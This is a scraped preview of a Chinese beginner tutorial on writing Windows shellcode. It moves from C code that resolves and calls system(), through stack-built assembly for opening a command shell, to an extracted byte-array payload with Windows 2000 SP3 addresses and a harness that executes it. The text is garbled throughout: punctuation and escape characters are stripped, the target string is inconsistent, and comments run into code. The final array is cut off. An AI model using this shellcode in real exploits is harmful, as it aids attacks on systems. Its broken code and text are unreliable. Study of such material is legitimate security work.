編寫ShellCode入門教程_第1頁
編寫ShellCode入門教程_第2頁
編寫ShellCode入門教程_第3頁
編寫ShellCode入門教程_第4頁
編寫ShellCode入門教程_第5頁
已閱讀5頁,還剩6頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

1、編寫ShellCode前置知識:匯編閱讀能力,漏洞調試基本步驟,VC使用方法WTF:這幾次的菜鳥版EXP系列文章都是重點講解溢出編程的原理和思路,包括漏洞的定位,利用構造以及遇到限制時ShellCode的編碼技巧等,但對ShellCode本身的編寫,特別是Windows環(huán)境下ShellCode的初步編寫,卻很少提及。在文章中都是說發(fā)揚“拿來主義”,看準外面現成的ShellCode,直接拿來用,對不合規(guī)范的地方稍微改改就成其實我們是有策略的,試想一來就一大堆匯編,初學者不暈就懵,不被嚇跑才怪,所以前期重點放在激發(fā)大家的興趣上。但作為一個菜鳥,在興趣激起來后,畢竟要進入到ShellCode的編寫中

2、。一是因為Exploit很大的樂趣就在于ShellCode的編寫,二是明白了ShellCode的編寫,才能更好的使用和改進外面的代碼。那,我們開始為了幫助初學者了解ShellCode的編寫,并能一步一步操作得到自己的ShellCode,因此將Windows下ShellCode的編寫過程作詳細的介紹,以利于像我一樣的菜鳥,最終能夠寫出簡單的但卻是真實的ShellCode;而進一步高級的ShellCode的編寫,也會在系列后面的文章中一步一步的演示的,希望大家會發(fā)現,Exp真好,ShellCode最美妙! ShellCode簡介和編寫步驟從以前的文章和別人的攻擊代碼中可以知道,Shell

3、Code是以“xFFx3Ax45x72”的形式出現在程序中的,而Exploit的構造就是想方設法地使計算機能轉到我們的ShellCode上來,去執(zhí)行“xFFx3Ax45x72”由此看出,ShellCode才是Exploit攻擊的真正主宰(就如同獨行者是我們文章的主宰一樣)。而ShellCode的“xFFx3Ax45x72”那些值,其實是機器碼的形式,和一般程序在內存里面存的東東是沒什么兩樣的,攻擊程序把內存里面的數據動態(tài)改成ShellCode的值,再跳過去執(zhí)行,就如同執(zhí)行一個在內存中的一般程序一樣,只不過完成的是我們的功能,溢出攻擊就這樣實現了。在此可以下個定義:ShellCode就是一段程序

4、的機器碼形式,而ShellCode的編寫過程,就是得到我們想要程序的機器碼的過程。當然ShellCode的特殊性和Windows下函數調用的特點,決定了和一般的匯編程序有所不同。所以其編寫步驟應該是,1構想ShellCode的功能;2用C語言驗證實現;3根據C語言實現,改成帶有ShellCode特點的匯編;4最后得到機器碼形式的ShellCode。其中最重要的是第三步改成有ShellCode特點的匯編,將在本文的后面講到。首先第一步是構想ShellCode的功能。我們想要的功能可能是植入木馬,殺掉防火墻,倒流時光,發(fā)電磁波找外星人等等(WTF:咳),但最基本的功能,還是希望開一個DOS窗口,那

5、我們可以在DOS窗口中做很多事情,所以先介紹開DOS窗口ShellCode的寫法吧。  C語言代碼比如下面這個程序就可以完成開DOS窗口的功能,大家詳細看下注釋:#include <windows.h>#include <winbase.h> typedef void (*MYPROC(LPTSTR;    /定義函數指針int main(HINSTANCE LibHandle;MYPROC ProcAdd;LibHandle = LoadLibrary(“msvcrt.dll”;ProcAdd =

6、(MYPROC GetProcAddress(LibHandle, "System" /查找System函數地址(ProcAdd (""      /其實就是執(zhí)行System(“”return 0;其實執(zhí)行System(“”也可以完成開DOS窗口的功能,寫成這么復雜是有原因的,解釋一下該程序:首先Typedef void (*MYPROC(LPTSTR是定義一個函數指針類型,該類型的函數參數為是字符串,返回值為空。接著定義MYPROC ProcAdd,使ProcAdd為指向參數為是字符

7、串,返回值為空的函數指針;使用LoadLibrary(“msvcrt.dll”;裝載動態(tài)鏈接庫msvcrt.dll;再使用ProcAdd = (MYPROC GetProcAddress(LibHandle, System獲得 System的真實地址并賦給ProcAdd,之后ProcAdd里存的就是System函數的地址,以后使用這個地址來調用System函數;最后(ProcAdd (""就是調用System("",可以獲得一個DOS窗口。在窗口中我們可以執(zhí)行Dir,Copy等命令。如下圖1所示。   圖

8、1 獲得函數的地址程序中用GetProcAddress函數獲得System的真實地址,但地址究竟是多少,如何查看呢?在VC中,我們按F10進入調試狀態(tài),然后在Debug工具欄中點最后一個按鈕Disassemble和第四個按鈕Registers,這樣出現了源程序的匯編代碼和寄存器狀態(tài)窗口,如圖2所示  圖2 繼續(xù)按F10執(zhí)行,直到到ProcAdd = (MYPROC GetProcAddress(LibHandle, "System"語句下的Cll dword ptr _imp_GetProcAddress8 (00424194執(zhí)行后,

9、EAX變?yōu)?801AFC3,說明在我的機器上System( 函數的地址是0x7801AFC3。如圖3所示。  圖3WTF:注意本次測試中讀者的機器是Windows 2000 SP3,不同環(huán)境可能地址不同。為什么EAX就是System( 函數的地址呢?那是因為函數執(zhí)行的返回值,在匯編下通常是放在EAX中的,這算是計算機系統(tǒng)的約定吧,所以GetProcAddress(”System”)的返回值(System函數的地址),就在EAX中,為0x7801AFC3。 Windows下函數的調用原理為什么要這么麻煩的得到System函數的地址呢?這是因為在Windows下,函數

10、的調用方法是先將參數從右到左壓入堆棧,然后Call該函數的地址。比如執(zhí)行函數Fun(argv1, argv2),先把參數從右到左壓入堆棧,這里就是依次把argv2,argv1壓入堆棧里,然后Call Fun函數的地址。這里的Call Fun函數地址,其實等于兩步,一是把保存當前EIP,二是跳到Func函數的地址執(zhí)行,即Push  EIP Jmp Fun。其過程如下圖4所示。  圖4同理,我們要執(zhí)行System("":首先參數入棧,這里只有一個參數,所以就把C的地址壓入堆棧,注意是C字符串的地址;然后Call System函數

11、的地址,就完成了執(zhí)行。如圖5所示。  圖5 構造有ShellCode特點的匯編明白了Windows函數的執(zhí)行原理,我們要執(zhí)行System(“Command.exe”,就要先把Command.exe字符串的地址入棧,但Command.exe字符串在哪兒呢?內存中可能沒有,但我們可以自己構造!我們把Command.exe一個字符一個字符的賦給堆棧,這樣Command.exe字符串就有了,而棧頂的指針ESP正好是Command.exe字符串的地址,我們Push esp,就完成了參數Command.exe字符串的地址入棧。如下圖6所示。   

12、圖6  參數入棧了,然后該Call System函數的地址。剛才已經看到,在Windows 2000 SP3上,System函數的地址為0x7801AFC3,所以Call 0x7801AFC3就行了。把思路合起來,可以寫出執(zhí)行System(“Command.exe”的帶有ShellCode特點的匯編代碼如下。mov esp,ebp ;              push ebp ;    

13、0;        mov ebp,esp ;               把當前esp賦給ebpxor edi,edi ;            push edi ;壓入0,esp4,;   作用是構造字符串的結尾0字

14、符。            sub esp,08h ;加上上面,一共有12個字節(jié),;用來放""。            mov byte ptr ebp-0ch,63h ;  c            

15、;mov byte ptr ebp-0bh,6fh ;  o            mov byte ptr ebp-0ah,6dh ;  m            mov byte ptr ebp-09h,6Dh ;  m      &#

16、160;     mov byte ptr ebp-08h,61h ;  a            mov byte ptr ebp-07h,6eh ;  n            mov byte ptr ebp-06h,64h ;  d 

17、;           mov byte ptr ebp-05h,2Eh ;  .            mov byte ptr ebp-04h,63h ;  c            mov byte pt

18、r ebp-03h,6fh ;  o            mov byte ptr ebp-02h,6dh ;  m一個一個生成串"".            lea eax,ebp-0ch ;        

19、0;           push eax ;              串地址作為參數入棧            mov eax, 0x7801AFC3 ;      

20、      call eax ;                  call System函數的地址 明白了原理再看實現,是不是清楚了很多呢? 提取ShellCode首先來驗證一下,在VC中可以用_asm關鍵字插入匯編,我們把System(“Command.exe”用我們寫的匯編替換,LoadLibrary先不動,然后執(zhí)行,成功!彈出了我

21、們想要的DOS窗口。如下圖7所示。  圖7同樣的道理,LoadLibrary(“msvcrt.dll”也仿照上面改成匯編,注意LoadLibrary在Windows 2000 SP3上的地址為0x77e69f64。把兩段匯編合起來,將其編譯、鏈接、執(zhí)行,也成功了!如下圖8所示。     圖8有了上面的工作,提取ShellCode就只剩下體力活了。我們對剛才的全匯編的程序,按F10進入調試,接著按下Debug工具欄的Disassembly按鈕,點右鍵,在彈出菜單中選中Code Bytes,就出現匯編對應的機器碼。因為匯編可以完

22、全完成我們的功能,所以我們把匯編對應的機器碼原封不動抄下來,就得到我們想要的ShellCode了。提取出來的ShellCode如下。unsigned char shellcode ="x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53""xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x54xC6x45xFAx2ExC6""x45xFBx44xC6x45xFCx4CxC6x45xFDx4CxBA""x64x9fxE6x77"&#

23、160;     /sp3 loadlibrary地址0x77e69f64"x52x8Dx45xF4x50" "xFFx55xF0""x55x8BxECx83xECx2CxB8x63x6Fx6Dx6Dx89x45xF4xB8x61x6Ex64x2E""x89x45xF8xB8x63x6Fx6Dx22x89x45xFCx33xD2x88x55xFFx8Dx45xF4""x50xB8""xc3xafx01x78"

24、0;     /sp3 System地址0x7801afc3"xFFxD0" 驗證ShellCode最后要驗證提取出來的ShellCode能否完成我們的功能。在以前的文章中已經說過方法,只需要新建一個工程和c源文件,然后把ShellCode部分拷下來,存為一個數組,最后在main中添上( (void(*(void &shellcode (,如下:unsigned char shellcode ="x55x8BxECx33xC0x50x50x50xC6x45xF4x4DxC6x45xF5x53""xC6x45xF6x56xC6x45xF7x43xC6x45xF8x52xC6x45xF9x5

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論